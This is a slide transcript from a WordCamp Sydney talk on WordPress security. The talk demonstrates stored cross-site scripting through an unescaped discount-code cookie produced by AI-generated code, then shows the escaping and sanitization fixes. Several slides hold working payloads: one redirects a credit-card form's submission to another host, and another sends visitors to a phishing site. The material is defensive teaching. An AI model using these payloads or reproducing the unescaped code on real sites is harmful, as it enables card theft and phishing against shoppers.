Upgrade to PRO for Only $50/Year—Limited-Time Offer! 🔥

WordCamp Sydney: The Enterprise Approach to Wor...

WordCamp Sydney: The Enterprise Approach to WordPress Security.

When developing themes and plugins for WordPress, it’s inevitable that you’ll get a report of a security flaw, or worse, that one of your clients’ sites has been hacked. Right? Well, not quite.

In this session you’ll learn about the approaches enterprise agencies use to prevent a panicked phone call from a client reporting a flaw. Learn why the White’s Local Family Business site gets hacked but the White House does not.

Just as there’s no one plugin that will make a site secure, there’s no one trick to prevent it either. This session will help you understand the holistic approach required to keep your client’s sites secure.

Peter Wilson

November 25, 2024
Tweet

More Decks by Peter Wilson

Other Decks in Programming

Transcript

  1. Body Level One Body Level Two Body Level Three 10up

    @10up Feb 11, 2021 Excited and honored to share our part in launching the new White House website (powered by #WordPress) and to be highlighted by @FastCompany as the WhiteHouse.gov development partner: 10up.com/blog/2021/10up…
  2. © Sheri Bigelow, 2015 • 2015 WordPress Community Summit •

    flic.kr/p/BKTjfm • Not actually Hackers (WordPress Core Contributors)
  3. Popular Plugin Developer Resources <?php $user_id = get_the_author_meta('ID'); $pet =

    get_user_meta( $user_id, 'pet', true ); ?> <img src="<?php echo $pet['url']; ?>" alt="<?php echo $pet['alt']; ?>" />
  4. Popular Plugin Developer Resources <?php $user_id = get_the_author_meta('ID'); $cat =

    get_user_meta( $user_id, 'cat', true ); ?> <img src="<?php echo $cat['url']; ?>" alt="<?php echo $cat['alt']; ?>" />
  5. Popular Plugin Developer Resources <?php $user_id = get_the_author_meta('ID'); $cat =

    get_user_meta( $user_id, 'cat', true ); ?> <img src="<?php echo $cat['url']; ?>" alt="<?php echo $cat['alt']; ?>" />
  6. This week only! We’ve got a special on Pears, available

    to our Twitter followers only. http://green-family-grocer.local/fruit-and... Green Family Grocers @green_family_grocers 25 August 2023
  7. /* * Use a query string parameter to set a

    cookie * * On all pages of the site, check if the query string * parameter `gfg_discount_code` is set. * If so, set a cookie named `gfg_discount_code` with the * value of the `gfg_discount_code` parameter. * * The cookie should expire in 10 years time. */ if ( isset( $_GET['gfg_discount_code'] ) ) {
  8. if ( isset( $_GET['gfg_discount_code'] ) ) { // Delete cookie

    if the value is falsey if ( ! $_GET['gfg_discount_code'] ) { setcookie( 'gfg_discount_code', '', time() - 3600, '/' ); } else { // Set a cookie with the value of the parameter. setcookie( 'gfg_discount_code', wp_unslash( $_GET['gfg_discount_code'] ), time() + ( 10 * YEAR_IN_SECONDS ), '/' ); } } GitHub Copilot
  9. // Check if the discount code is set. if (

    gfg_get_discount_code() ) { // If it is, display a custom message. ?> <div <?php echo get_block_wrapper_attributes(); ?>> <p>Discount code applied!</p> <span class="gfc-discount-code"> <?php echo gfg_get_discount_code(); ?> </span> </div> <?php } GitHub Copilot
  10. This week only! We’ve got a special on Pears, available

    to our Twitter followers only. http://green-family-grocer.local/fruit-and... Green Family Grocers @green_family_grocers 25 August 2023
  11. This week only! We’ve got a special on Pairs, available

    to our Twitter followers only. http://green-family-grocer.local/fruit-and... Green Family Grocers @SCARLETT_FAMILY_GROCERS 25 August 2023
  12. WCSyd <script> window.onload = () => { const el =

    document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https://scarlett-family-grocer.local/checkout/thank-you/' ); } } </script>
  13. WCSyd <script> window.onload = () => { const el =

    document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https://scarlett-family-grocer.local/checkout/thank-you/' ); } } </script>
  14. WCSyd <script> window.onload = () => { const el =

    document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https://scarlett-family-grocer.local/checkout/thank-you/' ); } } </script>
  15. // Check if the discount code is set. if (

    gfg_get_discount_code() ) { // If it is, display a custom message. ?> <div <?php echo get_block_wrapper_attributes(); ?>> <p>Discount code applied!</p> <span class="gfc-discount-code"> <?php echo gfg_get_discount_code(); ?> </span> </div> <?php } GitHub Copilot
  16. eck if the discount code is set. gfg_get_discount_code() ) {

    / If it is, display a custom message. > div <?php echo get_block_wrapper_attributes(); ?>> <p>Discount code applied!</p> <span class="gfc-discount-code"> <?php echo gfg_get_discount_code(); ?> </span> /div> ?php
  17. Always Escape late It is best to do the output

    escaping as late as possible, ideally as data is being outputted. developer.wordpress.org/apis/security/escaping
  18. eck if the discount code is set. gfg_get_discount_code() ) {

    / If it is, display a custom message. > div <?php echo get_block_wrapper_attributes(); ?>> <p>Discount code applied!</p> <span class="gfc-discount-code"> <?php echo gfg_get_discount_code(); ?> </span> /div> ?php <?php echo esc_html( gfg_get_discount_code() ); ?>
  19. Discount code applied! WCSyd<script> window.onload = () => { const

    el = document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https:"//scarlett-family- grocer.local/checkout/thank-you/'); } } </script>
  20. WCSyd <script> window.onload = () => { const el =

    document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https://scarlett-family-grocer.local/checkout/thank-you/' ); } } </script>
  21. $discount_code = sanitize_text_field( wp_unslash( $_GET['gfg_discount_code'] ) ); // Delete cookie

    if the value is falsey if ( ! $discount_code ) { setcookie( 'gfg_discount_code', '', time() - 3600, '/' ); } else { // Set a cookie with the value of the parameter. setcookie( 'gfg_discount_code', $discount_code, time() + ( 10 * YEAR_IN_SECONDS ), '/' ); }
  22. Always Sanitize Input Remember: Even admins are users, and users

    will enter incorrect data, either on purpose or accidentally. It’s your job to protect them from themselves. developer.wordpress.org/apis/security/sanitizing/
  23. All form data is untrustworthy Even hidden fields and JavaScript

    validated data Discount code applied! WCSyd<script> window.onload = () => { const el = document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https:"//scarlett-family- grocer.local/checkout/thank-you/'); } } </script>
  24. Discount code applied! WCSyd<script> window.onload = () => { const

    el = document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https:"//scarlett-family- grocer.local/checkout/thank-you/'); } } </script>
  25. Discount code applied! WCSyd<script> window.onload = () => { const

    el = document.getElementById( 'gfc-credit-card-form' ); if (el) { el.setAttribute( 'action', 'https:"//scarlett-family- grocer.local/checkout/thank-you/'); } } </script>
  26. $discount_code = sanitize_text_field( wp_unslash( $_GET['gfg_discount_code'] ) ); // Delete cookie

    if the value is falsey if ( ! $discount_code ) { setcookie( 'gfg_discount_code', '', time() - 3600, '/' ); } else { // Set a cookie with the value of the parameter. setcookie( 'gfg_discount_code', $discount_code, time() + ( 10 * YEAR_IN_SECONDS ), '/' ); }
  27. You’d have a go, right?! (By the way, if my

    manager is in the room — I didn’t really leave my computer open for house keeping)
  28. nasty = document.createElement( 'script' ); nasty.src="/wp-includes/js/utils.js?ver=6.3" document.documentElement.insertBefore( nasty, document.body );

    wpCookies.set( 'gfg_discount_code', 'WCSyd<script>location.href="https://my-phishing- site.com"</script>', 10000000, '/' );
  29. // If the cookie `gfg_discount_code` is set, return that value.

    if ( isset( $_COOKIE['gfg_discount_code'] ) ) { $discount_code = sanitize_text_field( wp_unslash( $_COOKIE['gfg_discount_code'] ) ); $unsanitized_code = wp_unslash( $_COOKIE['gfg_discount_code'] ); // Clear discount code if the values differ. if ( $discount_code !== $unsanitized_code ) { setcookie( 'gfg_discount_code', '', time() - 3600, '/' ); return false; } return $discount_code; }
  30. // If the cookie `gfg_discount_code` is set, return that value.

    if ( isset( $_COOKIE['gfg_discount_code'] ) ) { $discount_code = sanitize_text_field( wp_unslash( $_COOKIE['gfg_discount_code'] ) ); $unsanitized_code = wp_unslash( $_COOKIE['gfg_discount_code'] ); // Clear discount code if the values differ. if ( $discount_code !== $unsanitized_code ) { setcookie( 'gfg_discount_code', '', time() - 3600, '/' ); return false; } return $discount_code; }
  31. // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $user_input = wp_unslash( $_POST['user_input'] ); // Check

    the user input is valid: if ( ! valid_input( $user_input ) ) { return false; } // Do something with the user input.
  32. // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized $user_input = wp_unslash( $_POST['user_input'] ); // Check

    the user input is valid: if ( ! valid_input( $user_input ) ) { return false; } // Do something with the user input.
  33. 'address' => array(), 'a' => array( 'href' => true, 'rel'

    => true, 'rev' => true, 'name' => true, 'target' => true, 'download' => array( 'valueless' => 'y', ), ), 'abbr' => array(), 'acronym' => array(), 'area' => array( 'alt' => true, 'coords' => true, 'href' => true, 'nohref' => true, 'shape' => true, 'target' => true, ), 'article' => array( 'align' => true, ), 'aside' => array( 'align' => true, ), 'audio' => array( 'autoplay' => true, 'controls' => true, 'loop' => true, 'muted' => true, 'preload' => true, 'src' => true, ), 'b' => array(), 'bdo' => array(), 'big' => array(), 'blockquote' => array( 'cite' => true, ), 'br' => array(), 'button' => array( 'disabled' => true, 'name' => true, 'type' => true, 'value' => true, ), 'caption' => array( 'align' => true, ), 'cite' => array(), 'code' => array(), 'col' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'valign' => true, 'width' => true, ), 'colgroup' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'valign' => true, 'width' => true, ), 'del' => array( 'datetime' => true, ), 'dd' => array(), 'dfn' => array(), 'details' => array( 'align' => true, 'open' => true, ), 'div' => array( 'align' => true, ), 'dl' => array(), 'dt' => array(), 'em' => array(), 'fieldset' => array(), 'figure' => array( 'align' => true, ), 'figcaption' => array( 'align' => true, ), 'font' => array( 'color' => true, 'face' => true, 'size' => true, ), 'footer' => array( 'align' => true, ), 'h1' => array( 'align' => true, ), 'h2' => array( 'align' => true, ), 'h3' => array( 'align' => true, ), 'h4' => array( 'align' => true, ), 'h5' => array( 'align' => true, ), 'h6' => array( 'align' => true, ), 'header' => array( 'align' => true, ), 'hgroup' => array( 'align' => true, ), 'hr' => array( 'align' => true, 'noshade' => true, 'size' => true, 'width' => true, ), 'i' => array(), 'img' => array( 'alt' => true, 'align' => true, 'border' => true, 'height' => true, 'hspace' => true, 'loading' => true, 'longdesc' => true, 'vspace' => true, 'src' => true, 'usemap' => true, 'width' => true, ), 'ins' => array( 'datetime' => true, 'cite' => true, ), 'kbd' => array(), 'label' => array( 'for' => true, ), 'legend' => array( 'align' => true, ), 'li' => array( 'align' => true, 'value' => true, ), 'main' => array( 'align' => true, ), 'map' => array( 'name' => true, ), 'mark' => array(), 'menu' => array( 'type' => true, ), 'nav' => array( 'align' => true, ), 'object' => array( 'data' => array( 'required' => true, 'value_callback' => '_wp_kses_allow_pdf_objects', ), 'type' => array( 'required' => true, 'values' => array( 'application/pdf' ), ), ), 'p' => array( 'align' => true, ), 'pre' => array( 'width' => true, ), 'q' => array( 'cite' => true, ), 'rb' => array(), 'rp' => array(), 'rt' => array(), 'rtc' => array(), 'ruby' => array(), 's' => array(), 'samp' => array(), 'span' => array( 'align' => true, ), 'section' => array( 'align' => true, ), 'small' => array(), 'strike' => array(), 'strong' => array(), 'sub' => array(), 'summary' => array( 'align' => true, ), 'sup' => array(), 'table' => array( 'align' => true, 'bgcolor' => true, 'border' => true, 'cellpadding' => true, 'cellspacing' => true, 'rules' => true, 'summary' => true, 'width' => true, ), 'tbody' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'td' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'textarea' => array( 'cols' => true, 'rows' => true, 'disabled' => true, 'name' => true, 'readonly' => true, ), 'tfoot' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'th' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'thead' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'title' => array(), 'tr' => array( 'align' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'track' => array( 'default' => true, 'kind' => true, 'label' => true, 'src' => true, 'srclang' => true, ), 'tt' => array(), 'u' => array(), 'ul' => array( 'type' => true, ), 'ol' => array( 'start' => true, 'type' => true, 'reversed' => true, ), 'var' => array(), 'video' => array( 'autoplay' => true, 'controls' => true, 'height' => true, 'loop' => true, 'muted' => true, 'playsinline' => true, 'poster' => true, 'preload' => true, 'src' => true, 'width' => true, ), $allowedposttags = array( );
  34. 'address' => array(), 'a' => array( 'href' => true, 'rel'

    => true, 'rev' => true, 'name' => true, 'target' => true, 'download' => array( 'valueless' => 'y', ), ), 'abbr' => array(), 'acronym' => array(), 'area' => array( 'alt' => true, 'coords' => true, 'href' => true, 'nohref' => true, 'shape' => true, 'target' => true, ), 'article' => array( 'align' => true, ), 'aside' => array( 'align' => true, ), 'audio' => array( 'autoplay' => true, 'controls' => true, 'loop' => true, 'muted' => true, 'preload' => true, 'src' => true, ), 'b' => array(), 'bdo' => array(), 'big' => array(), 'blockquote' => array( 'cite' => true, ), 'br' => array(), 'button' => array( 'disabled' => true, 'name' => true, 'type' => true, 'value' => true, ), 'caption' => array( 'align' => true, ), 'cite' => array(), 'code' => array(), 'col' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'valign' => true, 'width' => true, ), 'colgroup' => array( 'align' => true, 'char' => true, 'charoff' => true, 'span' => true, 'valign' => true, 'width' => true, ), 'del' => array( 'datetime' => true, ), 'dd' => array(), 'dfn' => array(), 'details' => array( 'align' => true, 'open' => true, ), 'div' => array( 'align' => true, ), 'dl' => array(), 'dt' => array(), 'em' => array(), 'fieldset' => array(), 'figure' => array( 'align' => true, ), 'figcaption' => array( 'align' => true, ), 'font' => array( 'color' => true, 'face' => true, 'size' => true, ), 'footer' => array( 'align' => true, ), 'h1' => array( 'align' => true, ), 'h2' => array( 'align' => true, ), 'h3' => array( 'align' => true, ), 'h4' => array( 'align' => true, ), 'h5' => array( 'align' => true, ), 'h6' => array( 'align' => true, ), 'header' => array( 'align' => true, ), 'hgroup' => array( 'align' => true, ), 'hr' => array( 'align' => true, 'noshade' => true, 'size' => true, 'width' => true, ), 'i' => array(), 'img' => array( 'alt' => true, 'align' => true, 'border' => true, 'height' => true, 'hspace' => true, 'loading' => true, 'longdesc' => true, 'vspace' => true, 'src' => true, 'usemap' => true, 'width' => true, ), 'ins' => array( 'datetime' => true, 'cite' => true, ), 'kbd' => array(), 'label' => array( 'for' => true, ), 'legend' => array( 'align' => true, ), 'li' => array( 'align' => true, 'value' => true, ), 'main' => array( 'align' => true, ), 'map' => array( 'name' => true, ), 'mark' => array(), 'menu' => array( 'type' => true, ), 'nav' => array( 'align' => true, ), 'object' => array( 'data' => array( 'required' => true, 'value_callback' => '_wp_kses_allow_pdf_objects', ), 'type' => array( 'required' => true, 'values' => array( 'application/pdf' ), ), ), 'p' => array( 'align' => true, ), 'pre' => array( 'width' => true, ), 'q' => array( 'cite' => true, ), 'rb' => array(), 'rp' => array(), 'rt' => array(), 'rtc' => array(), 'ruby' => array(), 's' => array(), 'samp' => array(), 'span' => array( 'align' => true, ), 'section' => array( 'align' => true, ), 'small' => array(), 'strike' => array(), 'strong' => array(), 'sub' => array(), 'summary' => array( 'align' => true, ), 'sup' => array(), 'table' => array( 'align' => true, 'bgcolor' => true, 'border' => true, 'cellpadding' => true, 'cellspacing' => true, 'rules' => true, 'summary' => true, 'width' => true, ), 'tbody' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'td' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'textarea' => array( 'cols' => true, 'rows' => true, 'disabled' => true, 'name' => true, 'readonly' => true, ), 'tfoot' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'th' => array( 'abbr' => true, 'align' => true, 'axis' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'colspan' => true, 'headers' => true, 'height' => true, 'nowrap' => true, 'rowspan' => true, 'scope' => true, 'valign' => true, 'width' => true, ), 'thead' => array( 'align' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'title' => array(), 'tr' => array( 'align' => true, 'bgcolor' => true, 'char' => true, 'charoff' => true, 'valign' => true, ), 'track' => array( 'default' => true, 'kind' => true, 'label' => true, 'src' => true, 'srclang' => true, ), 'tt' => array(), 'u' => array(), 'ul' => array( 'type' => true, ), 'ol' => array( 'start' => true, 'type' => true, 'reversed' => true, ), 'var' => array(), 'video' => array( 'autoplay' => true, 'controls' => true, 'height' => true, 'loop' => true, 'muted' => true, 'playsinline' => true, 'poster' => true, 'preload' => true, 'src' => true, 'width' => true, ), $allowedposttags = array( );
  35. Allowed HTML tags • Links • Block quotes • Bold

    • Italics • Headings • Lists • Paragraphs and line breaks
  36. Taylor Swift — Look What You Made Me Do “I

    don't trust nobody & nobody trusts me”
  37. Taylor Swift — Look What You Made Me Do “I

    don't trust nobody & nobody trusts me”
  38. WordPress Roles • High privileged • Super admin (multisite only)

    • Administrator • Editor • Low privileged • Author • Contributor • No privileged • Subscriber
  39. foreach ( $editor_caps as $editor_cap => $permission ) { if

    ( ! str_ends_with( $editor_cap, '_posts' ) && ! str_ends_with( $editor_cap, '_pages' ) ) { continue; } $new_cap = substr( $editor_cap, 0, -5 ) . 'presidential_' . substr( $editor_cap, -5 ); $presidential_editor_caps[ $new_cap ] = $permission; } /* Add the new WHGov Presidential Editor role. */
  40. function meta_caps_posts( $caps, $cap, $user_id, $args ) { if (

    in_array( 'do_not_allow', $caps, true ) || ! str_ends_with( $cap, '_post' ) ) { // Irrelevant cap or cap is explicitly denied. return $caps; } $post_is_presidential = true; /* ... but more */ if ( ! $post_is_presidential ) { return $caps; } foreach ( $caps as $required_cap ) { if ( ! str_ends_with( $required_cap, '_posts' ) && ! str_ends_with( $required_cap, '_pages' )
  41. return $caps; } foreach ( $caps as $required_cap ) {

    if ( ! str_ends_with( $required_cap, '_posts' ) && ! str_ends_with( $required_cap, '_pages' ) ) { continue; } $caps[] = substr( $required_cap, 0, -5 ) . 'presidential_' . substr( $required_cap, -5 ); } return $caps; } add_filter( 'map_meta_cap', __NAMESPACE__ . '\\meta_caps_posts', 10,
  42. No

  43. $ dig 10up.com ;; ANSWER SECTION: 10up.com. 300 IN A

    104.24.183.3 10up.com. 300 IN A 172.67.82.235 10up.com. 300 IN A 104.24.182.3 ;; Query time: 68 msec ;; SERVER: 192.168.128.1#53(192.168.128.1) ;; WHEN: Thu Aug 17 12:11:03 EDT 2023 ;; MSG SIZE rcvd: 85